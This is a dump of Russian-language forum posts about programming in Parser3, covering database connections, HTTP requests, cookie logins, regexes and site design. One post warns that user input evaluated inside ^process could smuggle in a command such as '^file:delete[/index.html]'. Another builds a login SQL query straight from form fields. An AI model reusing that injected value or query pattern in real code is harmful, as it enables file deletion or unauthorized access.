"19745","Что за ошибка outside of 'connect' operator. \
Вываливается когда коннект к базе."
"19746","есть конструкция в конструкторе класса:\
\
$handlers[\
	$.[user.register][$register_process]\
	$.[auth.login][$auth_process]\
	$.[auth.logout][$logout]\
	$._default[$auth_process]\
]\
\
Через форму получаем action\
^handlers.[$form:action][]\
\
И хотим вызвать в классе соотв методы.\
Т.е. для action=user.register\
вызвать ^register_process[]\
\
Получаем ошибку \
mod_user may not be overwritten with hash hash, use constructor\
mod_user\
\
\
D:/InetRoot/classes/user/mod_user.p(36)\
exception.type=parser.runtime \
user.register D:/InetRoot/classes/user/mod_user.p(36)\
create D:/InetRoot/classes/user/index.html(10)\
pSQL D:/InetRoot/classes/user/index.html(10)\
connect D:/InetRoot/classes/user/index.html(7)\
\
видимо точка обрабатывется как значение хеша.\
как тут быть?"
"19747","[quote]\
^handlers.[$form:action][]\
[/quote]\
\
насколько я фтыкаю... так писать нельзя\
\
а писать нужно так\
\
[code]\
$action[$form:action]\
^if($$action is junction){\
	$tmp[$$action]\
	^tmp[]\
}{\
	bad action\
}\
[/code]\
"
"19749","[code]\
@main[]\
$handlers[\
	$.[user.register][$register_process]\
	$.[auth.login][$auth_process]\
	$.[auth.logout][$logout]\
	$._default[$auth_process]\
]\
\
$action[user.register]\
\
^handlers.$action[]\
@register_process[]\
wow. it's working!\
[/code]"
"19751","Это значит, что вы пытаетесь подключиться вне оператора connect\
Например:\
Неправильно\
[code]\
^connect[$connect_string]{\
\
\
}\
[color=\"red\"]$users[^table::sql{select * from users}][/color]\
\
[/code]\
\
Правильно:\
[code]\
^connect[$connect_string]{\
\
\
\
[color=\"red\"]$users[^table::sql{select* from users}][/color]\
\
\
}\
[/code]"
"19753","http://search.cpan.org/src/ILYAS/Lingua-RU-Antimat-1.00/README - возьми регексп оттуда и адаптируй его к парсерному коду. Заранее предупреждаю, regexp монструозный..."
"19754","[code]\
@main[]\
^switch[$form:action]{\
	^case[register]{^register_process[]}\
	^case[DEFAULT]{^auth_process[]}\
}\
\
@register_process[]\
wow. it's working too!\
\
@auth_process[]\
wow. it's working!\
[/code]"
"19756","Выдает ошибку\
regular expression syntax error - regular expression too large\
\
может у кого есть что по проще."
"19758","там ведь как:\
[code]первый_шаблон | второй | третий | ...[/code]\
зачем это дело в один матч пихать, разбить его на несколько и всего проблем-то."
"19759","Пытаюсь прикинуть идею создания опросника... Может кто делал, как же? Я не готовые коды прошу (пока :)), а сам принцип."
"19761","То, что нужно, вообще!! Если класс рабочий, т.е. если не кастрированный какой-нибудь, да если я разберусь, да если заработает... ух...\
\
Спасибо, пошел смотреть..."
"19762","Есть poll.sql. Там понятно что. Но нельзя ли это куда-нибудь сунуть, чтобы это все само и создалось?"
"19763","Подскажите, как получить поля\
Last-Modified и ETag используя HEAD запрос в ^xdoc::load[]"
"19765","Ну е-мое. Голосовалка делается элементарно ведь. Из формы получил значение какой ответ выбран, прибавил единичку куда надо и сохранил енто все в файл или в базу. Схема элементарна. Технически на Парсере выполняется не сложнее. Час работы если писать с нуля. С оформлением и отладкой."
"19766","У кого-нибудь есть опыт использования Subj. (http://www.foolabs.com/xpdf/) на русскоязычных текстах? Если в него запихнуть, например, доку от парсера, английские слова будут сохранены, русские - заменены точками. Вот во что оно превращает оглавление:\
\
[i]................................................................................................................................... 52 cache.     ................................................................................................................................... 52 process.     ................................................................................................................................... 53 rem.  ................................................................................................................................... 54     ................................................................................................................................... 54 untaint, taint. ......................................................................................................................................................... 55    ................................................................................................................................... 58 try. [/i]\
\
Очень нужно организовать поиск по куче pdf-файлов (порядка пяти гигов), а в индексирабельный текст оно переводится криво..."
"19767","для этого есть ^file::load[]\
[code]$head[^file::load[binary][http://www.domain.ru/][$.method[HEAD]]]\
Date: $head.DATE\
Server: $head.SERVER\
Content-type: $head.CONTENT-TYPE\
Last-modified: $head.LAST-MODIFIED\
Expires: $head.EXPIRES\
ETag: $head.ETAG[/code]\
и так далее..."
"19768","Вот первая глупость позади..."
"19769","mnogosearch, htdig\
\
если будет время, просьба рассказать о достижениях"
"19771","для rtf, doc, xls нашёл win32 command line утилиты, на pdf сломал зубы - ну не хочет оно читать русские буквы...\
\
Если справлюсь с проблемой, подробно опишу. Но всё же сохраняю надежду, что кто-то поможет советом в этой части..."
"19772","Могу прислать файл с кодировкой + необходимые строчки для xpdfrc.\
Кстати, файл с кодировкой легко собирается из стандартного парсерного windows-1251.cfg (сделал за 5 минут) ;-)"
"19773","Решил опробовать пример с изменением размеров картинок, поставил imagemagick. Но вылазит ошибка images.p' usage failed - no $MAIN:CLASS_PATH were specified [parser.runtime]\
Вопрос: из-за чего?"
"19774","присоветуйте кто-нибудь как можно сконвертировать .xls документ в Text (tab-delimited) на стороне сервера, чтобы потом вбить всё это дело в HTML? \
\
Про File -> Save as type: Text(tab delimited) знаю, но хотелось бы что-нить элегантнее и чтоб server-side.\
\
Сервер - Apache, Linux."
"19776","\"Использование файла 'images.p' не возможно - не определена переменная $MAIN:CLASS_PATH\"\
\
Действия: прочитать в документации о CLASS_PATH"
"19782","забыл написать.."
"19783","http://www.45.free.net/~vitus/ice/catdoc/"
"19786","пожалуйста, подумайте перед ответом 1 минуту."
"19788","огромное спасибо!"
"19791","Написана авторизация с cookie на время сессии\
\
на локальном компьютере всё нормально IE5.5 WIN ME\
локальная сеть win 2000 pro ie 5.0 всё OK\
на компах в локалке win 2000 pro ie6 и win 2000 adv. serv. en ie 5.0 авторизация проходит, но только для одной страници, потом снова просит пароль, opera 7.02 - авторизация проходит для всего сайта, но при повторном обращении к '/' просит пароль.\
\
Как с этим бороться?\
Заранее благодарю за любую помощь."
"19792","Если чел забыл пароль, то все. Т.к. храниться в MD5. \
В таких случаях генеряют новый и шлют на мыло. А уж потом он может залогигниться и сменить на тот, который ему нужен"
"19793","В 3.0.8/3.1.0 можно сделать более приемлемый для человека пароль: ^math:uid64[]\
\
А по-хорошему надо генерировать случайную строку из букв и цифр, для удобства запоминания чередуя гласные и согласные."
"19794","крипт любого слова (хотя можно и дату подставлять). а потом матчим его, оставляя только буквы или цифры на заданную длину."
"19795","и разогнулся"
"19799","К томуже оно надо, скрипт работает на определённых браузерах, значит написан достаточно коректно.\
\
В скрипте нет заточек под браузеры.\
\
Алгоритм\
\
проверяем наличие кука\
\
есть\
читаем из него инфу (имя фамилия отчетво)\
вставляем инфу из куки в нужные места\
\
нет\
Просим пипла представиться (И Ф О)\
Заносим его представления в куку и вставляем эту инфу где необхордимо\
\
\
зы Скрипт выложу позже когда винда поднимится"
"19802","http://www.parser.ru/docs/lang/fileload.htm\
и \
http://www.parser.ru/docs/lang/app1.htm"
"19803","$exec[^file::load[text;http://www.gentoo.org/index.html]]\
\
Ничего не покажет"
"19804","Вот это у меня работает\
[code]\
^if(def $cookie:fio){\
$cookie:fio\
\
}{\
Введите своё ФИО\
<form action=\"$request:uri\" method=\"POST\">\
<input type=\"text\" name=\"fio\">\
<form>\
^if(def $form:fio){\
$cookie:fio[ \
   $.value[$form:fio]  \
   $.expires[session] \
]  \
}\
}\
[/code]"
"19806","[code]\
# готовим тело запроса\
$POSTbody[a=мама&b=мыла&c=раму]\
\
# отдаем серверу\
$f[^file::load[binary;http://your_address_here/][\
$.method[POST]\
$.timeout(60)\
$.headers[\
$.Content-type[application/x-www-form-urlencoded]\
$.Content-length[^POSTbody.length[]\
\
$POSTbody]\
]\
]] \
\
# а вот и ответ сервера\
^taint[as-is][$f.text]\
[/code]\
\
если \"на той стороне\" что-то типа:\
[code]\
^form:fields.foreach[k;v]{\
	$k - $v\
}\
[/code]\
получим в ответ:\
a - мама\
b - мыла\
c - раму\
\
недостаток: данные должны быть urlencoded, чего здесь нет.\
чем плохо: нелатиница и нецифры могут побиться."
"19810","Если он умеет и хочет - может отреагировать на заголовок Range и отдать столько, сколько просят. Но по стандарту, сервер имеет право прокласть на такую просьбу с прибором."
"19811","А нельзя бы тему сообщения поменьше? А то знаете ли утомляет."
"19812","если использовать $.limit - то данные не передаются! А без него все нормально работает. Где грабли?"
"19814","[quote]При загрузке документов [b]с диска[/b] также можно дополнительные опции загрузки...[/quote]\
Где тут про HTTP?"
"19817","Тут надо не выдумывать, а RTFMить: http://www.w3.org/Protocols/rfc2616/rfc2616.html"
"19818","Я, к сожалению, в ртфмках не совсем понимаю. Синтаксис мне вообще не понятен.\
Помогите разобраться - что нужно указать?"
"19819","Задача стоит следующая:\
Необходимо получить IP адрес пользователя и если он входит в определенную подсеть то выполнить какие либо действия.\
так вот Подскажите регулярное выражение по сравнению этого самого IP. \
К примеру IP 10.10.10.10 подсеть 10.10.10.0"
"19820","Задача: приходит $form:begin_year, $form:begin_month и т.д., а также $form:end_year и пр (в перспективе добавиться ещё несколько наборов дат). Надо сделать из этого 2 переменных класса $date: $begin_date и $end_date\
[code]\
$create_date{\
# вот тут я запутался\
# 'MAIN' method_frame may not be overwritten with date date, use constructor [parser.runtime]\
# что такое method_frame Я не знаю, у меня в коде нет такого.. update: уже знаю, нашёл в форуме\
	${$prefix}_date[\
		^date::create(\
			$form:[{$prefix}_year];\
			$form.[{$prefix}_month];\
			$form:[{$prefix}_day];\
			$form:[{$prefix}_hour];\
			$form:[{$prefix}_min];\
			0\
		)\
	]\
}\
\
$prefix[begin] $create_date\
$prefix[end] $create_date\
[/code]\
\
Как надо сделать?"
"19821","когда я решал подобную проблему, я написал на сях программку, которой на вход даёшь айпишник, сеть, маску, а на выходе получаешь либо 1, если адрес принадлежит сети, любо 0, в противном случае. Программка дома, если нужно, вечером могу выслать."
"19822","Так как в зависимости от IP пользователя ему должны отдаваться определенные ссылки на странице, так если он входит в эту подсеть то типа www.yyy.ru/1.htm , а если не входит то www.xxx.ru/1.htm"
"19823","вот прочёл 5 урок и возник вопрос\
\
там написано: создаём такую стр-ру страницы\
[code]\
@USE \
/classes/gbook.p \
\
@body_main[] \
\
...\
\
$gb[^gbook::load[]] \
^gb.show_messages[] \
^gb.show_form[] \
^gb.test_and_post_message[] \
\
...\
[code]\
\
Я не очень понял - если мне не нужно выводить все сообщения гостевой книги, а только форму, то я пишу\
\
[code]\
$gb[^gbook::load[]] \
^gb.show_form[] \
^gb.test_and_post_message[] \
[/code]\
Но зачем тогда мне выполнять объект load[], который загружает из базы таблицу с сообщениями?\
\
@load[] \
^MAIN:dbconnect{ \
   $messages[^table::sql{select author, email, date, body from gbook}] \
}\
мне же это не нужно. зачем выполнять лишние запросы к базе?\
а написать просто \
^show_form[] \
^test_and_post_message[] \
я не могу - ничего не работает"
"19824","Вот примерно так:\
[code]\
$ip(IP-адрес в виде числа)\
$network(подсеть)\
$netmask(маска подсети)\
^if($ip & $netmask == $network & $netmask){\
  IP входит в подсеть\
}{\
  IP не входит в подсеть\
}\
[/code]"
"19825","не вижу в коде никакого ^process.\
если он всё же есть, тело лучше или с диска считать, или, если уж очень хочется, можно написать прямо там, но надо помнить, когда вычислятся переменные ^process{$var} обычно неправильно< так переменная вычислится ДО process, а если там что-то от пользователя, то пользователю ничто не мешает задать такое вот значение \"^file:delete[/index.html]\".\
\
поэтому, если [b]очень[/b] захотелось тело process не читать с диска, то тоже можно:\
[code]\
^process{^$var}\
[/code]\
но со всей осторожностью, и имея в виду, что такой код — не самый читабельный."
"19827",":)"
"19828","Сначала надо прочитать ftp://ftp.rfc-editor.org/in-notes/rfc2616.txt\
После этого можно смотреть заголовки сниффером или браузером, если он это позволяет. В Mozilla, к примеру, есть очень удобная штука: Tools - Web Development - Live HTTP Headers"
"19830","Прошу прощения за оффтопик, но очень надо...\
\
Нужен модуль для Perl для преобразования длинного имени файла и пути к стандарту 8.3 - например, c:\\program files\\test -> c:\\progra~1\\test\
\
Если знаете такой, ткните носом..."
"19832","сплитишь по \"/\",\
менюшишь,\
сплитишь по \".\",\
проверяешь левую часть на 8 символов: если длиннее - первые 6 + \"~1\",\
проверяешь правую на 3 символа,\
собираешь в переменную.\
\
если нужно круче, можно пособирать в таблицу и поправить ~N в случаях типа \"/program files/\" и \"/program data/\" и т.д."
"19833","Что такое сниффер?\
\
У меня Netscape 7.02. Есть Tools - Web Development, а вот Live HTTP Headers к сожалению нет. Как еще можно посмотреть?"
"19834","Сниффер - программа, перехватывающая сетевой трафик. Позволяет просмотреть общение браузера с сервером полностью, включая заголовки.\
http://www.google.com/search?q=sniffer\
\
На счёт Netscape: возможно, там есть заголовки в Page Info (Ctrl+I)."
"19835","Возникла проблема с установкой парсера на хостинг...\
Server Information: \
Operating System - Linux\
\
а собранного парсера под стандартный билд я не нашел... может кто-нибудь подсобить с этим, а то я сам не имею такой возможности...\
\
Заранее спасибо"
"19836","А как они должны выглядеть?"
"19837","На ntfs-дисках русское имя файла спокойно может превратиться в AF34BG~1.DOC :-)\
\
Это всё для работы моего индексатора по pdf и doc файлам - он рекурсивно обегает дерево папок, txt добавляет сам, а для pdf, ppt, xls и doc вызывает внешние конвертеры. Конвертер для doc ([i]catdoc[/i]) же на сайте автора скомпилирован древним досовским компилятором и не-8.3 не разумеет, а cygwin'ом и msvc++6 не перекомпиляется.  \
\
Я, в принципе, уже придумал workaround - копировать текущий файл в c:\\temp\\conv_me.doc, конвертировать, а потом убивать временный файл. Через задницу, но работает, так что вопрос снимается.\
\
P.S. А весь CPAN я перерыл три раза, но никаких упоминаний о модулях для работы с файлами 8.3 нет..."
"19839","Кто-то попросил меня в этом форуме предоставить для обзора заголовки..."
"19843","http://livehttpheaders.mozdev.org/"
"19844","Проблемы у них там с html :-) Поставил я на свой NN 7.02 последнию версию (0.6). Открыл сайт парсера > Tools > Web Development > Live HTTP headers > и там все пусто... \
\
На сайте http://livehttpheaders.mozdev.org/installation.html написано:\
\
It seems to work on the following: \
\
Netscape 7.02 \
\
Ошиблись?"
"19845","http://www.parser.ru/forum/?id=20"
"19847","Для уже загруженных страниц, смотри 'Headers' tab in 'View Page Info' of a web page."
"19849","а  вообще ужебыл трёп на эту тему\
http://www.parser.ru/forum/?id=14434"
"19850","Собственно такой вопрос:\
Parser выдаёт HTML код почти без переносов строки, знаков табуляции и  пробелов. Это давольно не удобно при отладке кода, когда необходимо видеть более-менее читаемые файлы на выходе. Возможно ли это устранить, и каким образом?"
"19853","От чего же зависит доступность страницы в автономном режиме?"
"19855","Мой совет сначала сделать шаблон, вылизать его, а потом внедрять код Parser."
"19856","Вот тут вы не правы: а если мне необходимо сделать обновление дизайна, и при этом не переделывать весь код прасера???\
А прочтение большого кода без форматирования есть удовольствие очень сомнительное."
"19857","Чтобы вызвать метод [color=\"green\"]show_form[][/color], вам нужно сначала объект создать, а единственный конструктор в классе [b]gbook[/b] является [color=\"green\"]load[][/color], можно создать ещё один пустой конструктор."
"19858","Вообще эта примочка специально сделана для оптимизации выходящего кода, если надо от неё избавиться, есть исходные коды.\
\
А всё что ниже это не совсем по теме.\
\
[i]Всё равно редко кто делает сложный дизайн, одновременно наделяя его Parser кодом, исключением не является и Студия Артемия Лебедева, где был и придуман этот язык.\
\
Дизайнер делает картинку будущего сайта, верстальщик  должен эту картинку превратить в Web страницу, дальше дело за кодером, его задача оживить эту страницу (для меня самое интересное). \
\
Заказ на новый дизайн одного и того же сайта, не через месяц и не через пол года приходит, а пока заказ поступит, уже мало чего у кодеров останется от старого кода. Я это к чему, те, у кого другие подходы к созданию сайтов, это их проблема (я отношусь к ним, но у меня нет больших проблем).[/i]"
"19859","Если требуется на самом деле отвязать оформление от кода и данных - нужно не ругаться на отсутствие форматирования выходного html, а использовать возможности технологии. В Парсере поддержка XML и объектного кода существует. Используйте объекты + XML/XSLT. Уверяю Вас, что в правильно написанном коде, внутри которого нет ошметков дизайна, разобраться будет в порядки проще, нежели в лапше из html+код. И смена/разработка оформления сайта будет делаться не в пример быстрее. ИМХО."
"19860","[code]\
\
@key_test[]\
^if(def $form:login && def $form:password){ \
^dbconnect{$user[^table::sql{select * from users where login='$form:login' and password='$form:password'}]}\
^if(def $user){\
$cookie:login_name[\
  $.value[$user.name]\
  $.expires[session]]\
^main_0[]\
   }{$error_ansver[Вы допустили ошибку, попробуйте повторить вход.<br />]\
     ^main1[]}\
}{$error_ansver[Хватит баловаться и введи в соответствующие поля login и password.<br />] ^main1[]}\
[/code]"
"19861","Last-Modified: Wed, 23 Jul 2003 18:17:53 GMT"
"19862","[quote]\
Используйте объекты + XML/XSLT.\
...\
И смена/разработка оформления сайта будет делаться не в пример быстрее. ИМХО.\
[/quote]\
\
той же фигней страдаю...\
\
есть? что-нибудь красивее такого:\
[code]\
$news[читаем из базы]\
$xml_news[\
<news-list>\
$news.menu{\
<news>$news.body</news>\
}\
</news-list>\
]\
...\
и дальше ^документ.transform\
[/code]"
"19863","создавал  пустой конструктор что-то вроде \
\
@dummy[]\
qqq\
\
на это дело выдавалась ошибка - щас не помню какая (на работе комп)"
"19864","[code]\
$smarty->assign('news', $db->getAll( \"\
	SELECT  \
		news_id,\
		news_title,\
		news_anons,\
		news_date\
	FROM\
		s_news\
	WHERE \
		news_publish = 1\
	ORDER BY\
		news_id DESC\
\" ));\
\
$smarty->display('news_idx.tpl');\
[/code]"
"19865","Пожалуйста, помогите с оставлением регулярных выражений.\
\
Есть строка текста, в ней нужно выкинуть \
\
1. <script>[внутри текст, не содержащий \"<script\"]</script>\
2. заменить \"слово-апостроф-одна или две буквы дальше\" на \"слово\", например, \"we're happy\" на \"we happy\"\
3. все слова с небуквенными (= не латинскими и не кириллическими + дефис) символами (\"hello\" и \"бренд-менеджер\" должны уцелеть, а \"137$\", \"MPEG4\" и \"5%\" - на фиг)\
\
заранее спасибо!\
\
P.S. Дж.Фридла читаю, но то ли погода депрессивно действует, то ли ещё что, но соображалка не варит совершенно..."
"19867","http://www.parser.ru/forum/?id=12780\
\
есть что-нибудь красивее для парсера?\
PAF писал  что в p2 был xmlsql."
"19868","xmlsql не помню такого... вероятно он и не был дописан или не вышел в свет.\
\
я просто показал что на мой взгляд выглядит красивей.\
\
а xmlsql ты наверное можешь попробовать сам написать, на парсере."
"19869","[code]\
@main[]\
$ip[$env:REMOTE_ADDR]\
$parts[^ip.split[.;h]] \
$net[${parts.0}.${parts.1}.${parts.2}]\
<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.0 Transitional//EN\">\
<html>\
<head>\
   <meta http-equiv=\"Content-Type\" content=\"text/html; charset=win-1251\">\
   <title>test</title>\
</head>\
<body text=\"#000000\" bgcolor=\"#FFFFFF\" link=\"#0000FF\" vlink=\"#000080\" alink=\"#FF0000\">\
<center>\
<h3>Извините, сайт в стадии разработки.</h3>\
^if($net eq 172.22.1){\
<a href=\"http://172.22.1.1:8000/listen.pls\">Радио 128 Кбит</a>\
}{\
<a href=\"http://172.22.55.1:8000/listen.pls\">Радио 128 Кбит</a>\
}\
<body>\
</html>\
[/code]"
"19870","все зависит от маски сети. например, адрес 10.0.1.200 принадлежит сети 10.0.1.0/24, но не принадлжит сети 10.0.1.0/28"
"19871","> а xmlsql ты наверное можешь попробовать сам написать, на парсере.\
да, сам.\
\
кстати, в продолжение темы xml/xslt:\
- если выносить весь диз в xsl и формировать в скрипте только xml, то логичнее писать на C, это будет все быстрее работать.\
- и выбирать между PHP и Parser - тоже всего лишь средство отладки..., когда скрипт готов перевести код на C."
"19872","Си слишком низкоуровневый язык программирования для этих задач."
"19873","Дабы бессмысленно не давать готовых примеров, приведите свои, а я помогу их поправить.."
"19874","я к тому что если все что отдается броузеру делается через:\
- построение xml\
- трансформация xslt\
\
То выбирать язык программирования нужно исходя из 2 критериев: \
1.скорость\
2.удобство\
там где надо жертвуя вторым.\
\
получается(в нашем случае) что связка xml/xslt - еще одна система шаблонирования, и ты волен выбирать любой язык.\
а про Си - это к тому что компилируемые языки(программы) будут работать быстрее."
"19876","В нашем случае самым \"долгим\" процессом будет XSL-трансформация, но она-то [сюрприз!] в Парсере как раз на том самом Си и написана, так, что принципиального выигрыша по скорости использование компилируемых языков не даст..."
"19877","смотрел html код страницы, но там ничего нету такого. Конкретнее интересует как сделать что бы послепостинга окошко закрылось. Спасибо."
"19878","по 5-му уроку мучает меня вопрос\
\
зачем нужен этот самый пользовательский класс\
[code]\
@CLASS \
gbook \
\
@load[] \
...\
\
@show_messages[] \
...\
\
@show_form[] \
...\
\
@test_and_post_message[] \
... \
[/code]\
\
ведь при вставке легко запутаться. Не легче ли просто определять классы @load[], @show_messages[], @show_form[], @test_and_post_message[] а потом соответственно вставлять ^load[], ^show_messages[] и т.д. вместо чего-то непонятного \
\
[code]\
$gb[^gbook::load[]] \
^gb.show_messages[] \
^gb.show_form[]\
^gb.test_and_post_message[]\
[/code]"
"19879","@add_message[]\
^if(def $form:posted){\
^void:sql{\
insert into messages (...)\
values\
(...)\
}\
<script language=\"JavaScript\">\
window.opener.location.href = '/forum/?id=...'^;\
windowClose()^;\
</script>\
}{\
<form method=\"POST\" action=\"\" enctype=\"multipart/form-data\">\
<table width=100% cellpadding=2 cellspacing=0 border=0>\
<tr><td><h3>Новое сообщение</h3></td></tr>\
<tr><td><input type=\"submit\" value=\" Послать \" name=\"posted\"> <input type=\"reset\" value=\"Нафиг\" onClick=\"windowClose()^;\"></td></tr>\
</table>\
</form>\
}"
"19880","Кстати, 3 и 4 строки можно немножко упростить:\
[code]$net[^ip.match[\\.\\d+^$][]{}][/code]"
"19881","И если вы не умеете ими пользоваться, а что более верно, не понимаете этой идеологии, т.е. идеологии ООП, это совсем не значит, что они не нужны. Понимание придёт, со временем.\
\
Update: Стоит почитать классиков, - Страуструпа, Буча и др."
"19882","естественно, не умею. если бы умел, то не спрашивал.\
но вот я пытаюсь понять их, но не могу. а поскольку в доке приведены такие примеры, которые можно сделать и без них (этих классов) то их польза для меня пока не очевидна.\
\
видимо, их удобство станет мне ясно при более сложных задачах\
а пока не могли бы вы сказать мне пару-тройку очевидных преимуществ пользоватльских классов? \
буду очень благодарен"
"19883","Думаю большого выигрыша по скорости вы, в случае применения C, не получите, максимум 0.2-0.3 секунды. Это можно с лихвой окупить применяя кэширование. А вообще его и надо применять на сайтам с мало мальски большой нагрузкой, ибо ресурсы железа не бесконечны, даже если использовать С.\
\
При этом, вместо 10 строчек кода на парсере, вы получите пару экранов на С и при этом код будет не в пример сложнее в написании и поддержке.\
\
Как показывает практика, основной проблемой при создании программных систем, является время на её создание - очень мало проектов, которые были завершены за указанное время. Думаю если сравнивать С и парсер для создания XML кода сайта с нуля, при использовании первого времени уйдёт раз в 10 больше, при этом нужен квалифицированный спец, каких мало.\
\
Вообщем я не вижу никаких реальных преимуществ С перед парсером для вебовых задач, кроме лишнего геммороя и эфемерного выигрыша в скорости, который можно компенсировать просто заменив прокладку между клавиатурой и стулом."
"19884","И на простых задачах есть преимущества (всякие там инкапсуляция, модульность, повторное использование и т.д.) и в 3-х словах это не описать - я же говорю, читайте классиков."
"19885","Весь код лежит в одном классе.\
Потом его легко менять и редактировать.\
А если вам скажем нужно написать админ-интерфейс, гостевую книгу, форум или что-то очень большое но удобно работающее, и понятное, то тут без классов не обойтись.\
И вообще классы расширяют возможности языка под ваши нужды.\
\
P.S. вчитайтесь внимательно в первый и второй абзаци, 5 урока, документации по Парсеру, и правильно egr сказал:\
[i]понимание придёт, со временем[/i]\
\
вот как будете писать что-то большое не используя классы, то, наверное, замучаетесь его редактировать и дорабатывать и поймёте преимущества классов :-)"
"19886","Из базы данных считывается текстовое поле. \
\
Необходимо каким-то образом проверить если первый и последний символ [перевод строки] или их несколько, то их все необходимо убрать, а если в середине текста встречается один или несколько символов перевода строки - необходимо оставить только один."
"19887","http://www.spearance.ru/parser3/regex/"
"19889","Не пойму до сих пор. И код они увеличивают в размерах. Иногда и правда нужны, например value=\"123\". Но ведь не всегда."
"19890","[code]\
$str[^str.match[<script>(.+)</script>][g]{$match.1}]\
$str[^str.match[([a-z-]+)'([a-z]{1,2} )][gi]{$match.1 }]\
$str[^str.match[[^^а-яa-z- ]+][gi]{}]\
[/code]"
"19892","без них  работать не будет\
некоторые указывают кавычки для лучшего восприятия текста, а по большому счёту в HTML они нафиг не нужны (ну кроме некоторых  случаев)"
"19893","не так уж и много жрут эти кавычки по сравнению  с 100кб рисунками и флэшками до мегабайта размером"
"19894","http://www.w3.org/TR/html401/intro/sgmltut.html#h-3.2.2 говорит нам:\
\
By default, SGML requires that all attribute values be delimited using either double quotation marks (ASCII decimal 34) or single quotation marks (ASCII decimal 39). Single quote marks can be included within the attribute value when the value is delimited by double quote marks, and vice versa. Authors may also use numeric character references to represent double quotes (&#34;) and single quotes (&#39;). For double quotes authors can also use the character entity reference &quot;.\
\
In certain cases, authors may specify the value of an attribute without any quotation marks. The attribute value may only contain letters (a-z and A-Z), digits (0-9), hyphens (ASCII decimal 45), periods (ASCII decimal 46), underscores (ASCII decimal 95), and colons (ASCII decimal 58). We recommend using quotation marks even when it is possible to eliminate them.\
\
То есть, в HTML 4 допускается иногда опускать кавычки, хотя и не рекомендуется."
"19895","Категорически не согласен насчет кавычек в HTML.\
Да они увеличивают код, но ведь сейчас большинство браузеров поддерживают стандарты XHTML и XML, о том, что это универсальные контейнеры для информации и о прочих достоинствах этих стандартов рассказывать, я думаю, не стоит.\
\
А вот чтоб перевести HTML в XML достаточно соблюдать простые правила одно из которых указывать кавычки в атрибутах HTML тэгов как в XML."
"19896","На моём сайте с парсером 3.1.0 работает следующий код:\
[code]\
#Last-Modified date\
$file_stat[^file::stat[$env:PATH_INFO]]\
$response:Last-Modified[$file_stat.mdate]\
[/code]\
Если сайт будешь обновлять редко, то эта строчка позволит исключить исходящий трафик, например, поисковому роботу Яндекс, так как он корректно воспринимает дату изменения и при повторном запросе просит выдать содержимое, только если оно было изменено с предыдущего раза. К сожалению, другие роботы (Rambler, Google) не используют эту дату по назначению, и генерируют кучу бесполезного трафика. Однако могу сразу заметить, что этот код будет сильно мешать отладочным работам, так же как и будет являться непригодным, если движок сайта состоит из нескольких файлов, которые изменяются независимо друг от друга."
"19897","Поискал в форуме, есть аналогичная ошибка, но в другой ситуации привинтить написаное к этому случаю я несмог.\
\
Как с этим бороться?\
\
[code]\
$session_key[${sl_1}${sl_2}${sl_3}${sl_4}${dt}]\
[/code]\
\
[i]\
'session_key' element can not be stored to void [parser.runtime]\
[/i]\
\
Заранее благодарю за ответы"
"19898","Посмотрите сайт http://htmlcoder.visions.ru/HTML/ там статьи 3 и 4 как-раз о том, что вам нужно.\
\
А ещё рекомендую книгу Дмитрия Кирсанова \"Веб-Дизайн\", книга очень хорошая, и почти в самом начале там написано о HTML, XML, кавычках, как перевести HTML в XML и прочее."
"19899","Пишу так: \
$MyParams[\
  $.ID_Property[3]\
  $.ID_Data[2]\
]\
\
$pl[^PropertyList::Create[]]\
^PropertyList:Add[$MyParams]\
все работает, но если хочу использовать один объект, т.е. поледняя строка:\
^pl.Add[$MyParams]\
то пишет: 'Add' string method not found [parser.runtime]\
В чем проблема, помогите pls."
"19900","Ага, есть :)\
$news[^news::create[тип]] ^news.mainlist[] или ^news.rss[] или ^news.chto_vam_nado[]\
Написав модуль новостей 1 раз, можно к этому вопросу не возвращаться влижайшие пару лет. В худшем случае добавить реализацию с учетом какой-то выдающейся специфики конкретного сайта.\
Касаемо нагрузки - ну очень немного задач, в которых нельзя применить ^cache[] Если кешируется собранная страница - никакой С переплюнуть это не сможет."
"19901","Так профессиональ но стормозить 8)"
"19902","Есть cgi скрипт, который обрабатывает информацию и выводит ее через шаблон. Шаблон в html но, понятное дело, парсером он никак при этом не обрабатывается. Реально ли перенаправить вывод с готовыми данными из перла на парсер? Может быть кто-нибудь уже пробовал?"
"19903","Есть такой у нас?))\
\
^file::load - это не то?, а то я не химичу уже ничего.\
\
Решил сделать автоматический пост в livejournal этот поганый...\
Получилась система нипель, когда парсер передают пхпшному скрипту инфу, а он уже постит...\
\
А может кто-то дела?"
"19904","А вообще, спасибо за рассуждения на тему..."
"19905","А вообще приведите 3 примера, которые делают XML (XHTML) круче HTML. Вообще, где про это можно почитать в интернете? Почему из XML превращают в HTML? (Например страница RSS на этом сайта _rss.html.)"
"19906","[i]...что этот код будет сильно мешать отладочным работам...[/i]\
\
Почему?"
"19909","У LiveJournal ведь обычный HTTP-интерфейс есть? Или я что-то путаю?"
"19911","Ещё можно добавить, что при использовании mysql этот код тоже следует изменить (дату изменения брать из mysql). В противном случае, стандартный браузер [i]никогда[/i] не получит нового содержимого страницы (при обычных условиях). \
Ключевые слова --- 304 Last-Modified ETag\
http://www.mozilla.org/projects/netlib/http/http-caching-faq.html\
http://www.mozilla.org/docs/netlib/cachefaq.html"
"19912","Вы знаете, это вопрос риторический (про исходники), для этого надо ставить среду разработки, в ней разбираться, отлавливать баги...\
\
А к какой ситуации вы отнесёте предложение заказщика «чуть здесь поменять» когда уже готов почти весь код?\
\
По поводу XML и прочего, пока нет времени с этим разбираться...\
\
P.S.: Может написать разработчикам, чтобы засунули в конфиг парсера, фичу аналогичную варианту с развёрнутыми ошибками и просто сообщением о них. Изменил параметр, и код у тебя выходит не оптимизированый, поставил другой — и код выходит оптимизированый..."
"19913","Как можно проверить, что скопированный парсер работает?\
Можно послать запрос на http://www.domen.ru/cgi-bin/parser3.cgi и ты должен увидеть версию скопированного парсера? всегда ли это так(может есть какие-нибудь исключения)? если выдвется ошибка, а права установленны 777, то это значит, что парсер не подходит?\
\
Достаточно ли тех скомпилированных версий парсера, котрый представленны в разделе download (на исходники просьба не ссылаться, их нужно компилировать под версию, которая стоит у чостинг-провайдера, а такой не имеется :() для работы со всеми хостинг-провайдерами?"
"19914","То пойду и поправлю.\
\
А XML и всё ему сопутствующее, знать желательно (а может и нужно). \
\
Попробуйте написать, объясните проблему, глядишь, в следующей версии появится ваша примочка."
"19915","Господа. Возникла вопроса. \
Как реализовать средствами Парсера3 upload/download файлов пользователем на сервер/с сервера?\
\
